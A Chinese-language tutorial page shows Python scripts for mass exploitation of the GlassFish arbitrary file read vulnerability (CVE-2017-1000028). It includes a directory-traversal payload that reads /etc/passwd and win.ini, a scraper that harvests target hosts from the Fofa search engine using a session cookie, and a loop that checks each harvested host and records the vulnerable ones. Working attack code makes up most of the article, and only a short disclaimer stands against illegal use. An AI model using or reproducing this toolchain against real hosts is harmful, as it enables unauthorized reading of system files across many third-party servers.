Python腳本開發(fā)漏洞的批量搜索與利用(GlassFish?任意文件讀取)
Python 開發(fā)學(xué)習(xí)的意義:
(1)學(xué)習(xí)相關(guān)安全工具原理.
(2)掌握自定義工具及拓展開發(fā)解決實(shí)戰(zhàn)中無工具或手工麻煩批量化等情況.
(3)在二次開發(fā) Bypass,日常任務(wù),批量測試?yán)玫确矫婢袔椭?
免責(zé)聲明:
嚴(yán)禁利用本文章中所提到的工具和技術(shù)進(jìn)行非法攻擊,否則后果自負(fù),上傳者不承擔(dān)任何責(zé)任。
測試漏洞是否存在的步驟:
(1)應(yīng)用服務(wù)器GlassFish 任意文件讀取 漏洞.
#測試應(yīng)用服務(wù)器glassfish任意文件讀取漏洞. import requests #調(diào)用requests模塊 url="輸入IP地址/域名" #下面這個(gè)二個(gè)是漏洞的payload payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' #檢測linux系統(tǒng)的 payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' #檢測windows系統(tǒng) data_linux=requests.get(url+payload_linux).status_code #獲取請求后的返回源代碼,requests.get是網(wǎng)絡(luò)爬蟲,status_code是獲取狀態(tài)碼 data_windows=requests.get(url+payload_windows).status_code #獲取請求后的返回源代碼,requests.get是網(wǎng)絡(luò)爬蟲,status_code是獲取狀態(tài)碼 if data_windows==200 or data_linux==200: #200說明可以請求這個(gè)數(shù)據(jù).則存在這個(gè)漏洞. print("漏洞存在") else: print("漏洞不存在")
效果圖:
(2)批量搜索漏洞.(GlassFish 任意文件讀取(CVE-2017-1000028))
import base64 import requests from lxml import etree import time #(1)獲取到可能存在漏洞的地址信息-借助Fofa進(jìn)行獲取目標(biāo). #(2)批量請求地址信息進(jìn)行判斷是否存在-單線程和多線程 search_data='"glassfish" && port="4848"' #這個(gè)是搜索的內(nèi)容. headers={ #要登錄賬號的Cookie. 'Cookie':'HMACCOUNT=52158546FBA65796;result_per_page=20' #請求20個(gè). } for yeshu in range(1,11): #搜索前10頁. url='https://fofa.info/result?page='+str(yeshu)+'&qbase64=' #這個(gè)是鏈接的前面. search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") #對數(shù)據(jù)進(jìn)行加密. urls=url+search_data_bs print('正在提取第'+str(yeshu)+'頁') #打印正在提取第的頁數(shù). try: #請求異常也執(zhí)行. result=requests.get(urls,headers=headers,timeout=1).content #requests.get請求url,請求的時(shí)候用這個(gè)headers=headers頭(就是加入Cookie請求),請求延遲 timeout=1,content將結(jié)果打印出來. #print(result.decode('utf-8')) #decode是編碼. soup=etree.HTML(result) #把結(jié)果進(jìn)行提取.(調(diào)用HTML類對HTML文本進(jìn)行初始化,成功構(gòu)造XPath解析對象,同時(shí)可以自動(dòng)修正HMTL文本) ip_data=soup.xpath('//a[@target="_blank"]/@href') #也就是爬蟲自己要的數(shù)據(jù) ,提取a標(biāo)簽,后面為@target="_blank"的href值也就是IP地址. #print(ip_data) ipdata='\n'.join(ip_data) #.join(): 連接字符串?dāng)?shù)組。將字符串、元組、列表中的元素以指定的字符(分隔符)連接生成一個(gè)新的字符串 print(ip_data) with open(r'ip.txt','a+') as f: #打開一個(gè)文件(ip.txt),f是定義的名. f.write(ipdata+'\n') #將ipdata的數(shù)據(jù)寫進(jìn)去,然后換行. f.close() #關(guān)閉. except Exception as e: pass #執(zhí)行后文件下面就會(huì)生成一個(gè)ip.txt文件.
效果圖:
(3)漏洞的利用.(GlassFish 任意文件讀取(CVE-2017-1000028))
import requests import time payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' for ip in open('ip.txt'): #打開ip.txt文件 ip=ip.replace('\n','') #替換換行符 為空. windows_url=ip+payload_windows #請求windows linux_url=ip+payload_linux #請求linux #print(windows_url) #print(linux_url) try: print(ip) result_code_linux=requests.get(windows_url).status_code #請求linux result_code_windows=requests.get(linux_url).status_code #請求windows print("chrck->" +ip) #打印在檢測哪一個(gè)IP地址. if result_code_linux==200 or result_code_windows==200: with open(r'result.txt','a+') as f: #寫入result.txt文件. f.write(ip) #如果有漏洞就寫入ip. time.sleep(5) except Exception as e: pass
效果圖:
(4)漏洞的利用.
到此這篇關(guān)于Python 開發(fā)漏洞的批量搜索與利用(GlassFish 任意文件讀取)的文章就介紹到這了,更多相關(guān)python開發(fā) 漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
基于Python實(shí)現(xiàn)模擬三體運(yùn)動(dòng)的示例代碼
此前所做的一切三體和太陽系的動(dòng)畫,都是基于牛頓力學(xué)的,而且直接對微分進(jìn)行差分化,從而精度非常感人,用不了幾年就得撞一起去。所以本文來用Python重新模擬一下三體運(yùn)動(dòng),感興趣的可以了解一下2023-03-03Python?NLP開發(fā)之實(shí)現(xiàn)聊天機(jī)器人
這篇文章主要為大家介紹了Python如何實(shí)現(xiàn)聊天機(jī)器人,即使用自然語言處理?(NLP)?來幫助用戶通過文本、圖形或語音與?Web?服務(wù)或應(yīng)用進(jìn)行交互,感興趣的可以了解一下2023-05-05python中的iterator和"lazy?iterator"區(qū)別介紹
這篇文章主要介紹了python中的iterator和?“l(fā)azy?iterator“之間有什么區(qū)別,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2023-04-04全網(wǎng)最細(xì) Python 格式化輸出用法講解(推薦)
這篇文章主要介紹了全網(wǎng)最細(xì) Python 格式化輸出用法講解,本文給大家介紹的非常詳細(xì),對大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2021-01-01200行python代碼實(shí)現(xiàn)2048游戲
這篇文章主要為大家詳細(xì)介紹了200行Python代碼實(shí)現(xiàn)2048游戲,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-07-07Python時(shí)間管理黑科技之datetime函數(shù)詳解
在Python中,datetime模塊是處理日期和時(shí)間的標(biāo)準(zhǔn)庫,它提供了一系列功能強(qiáng)大的函數(shù)和類,用于處理日期、時(shí)間、時(shí)間間隔等,本文將深入探討datetime模塊的使用方法,感興趣的可以了解下2023-08-08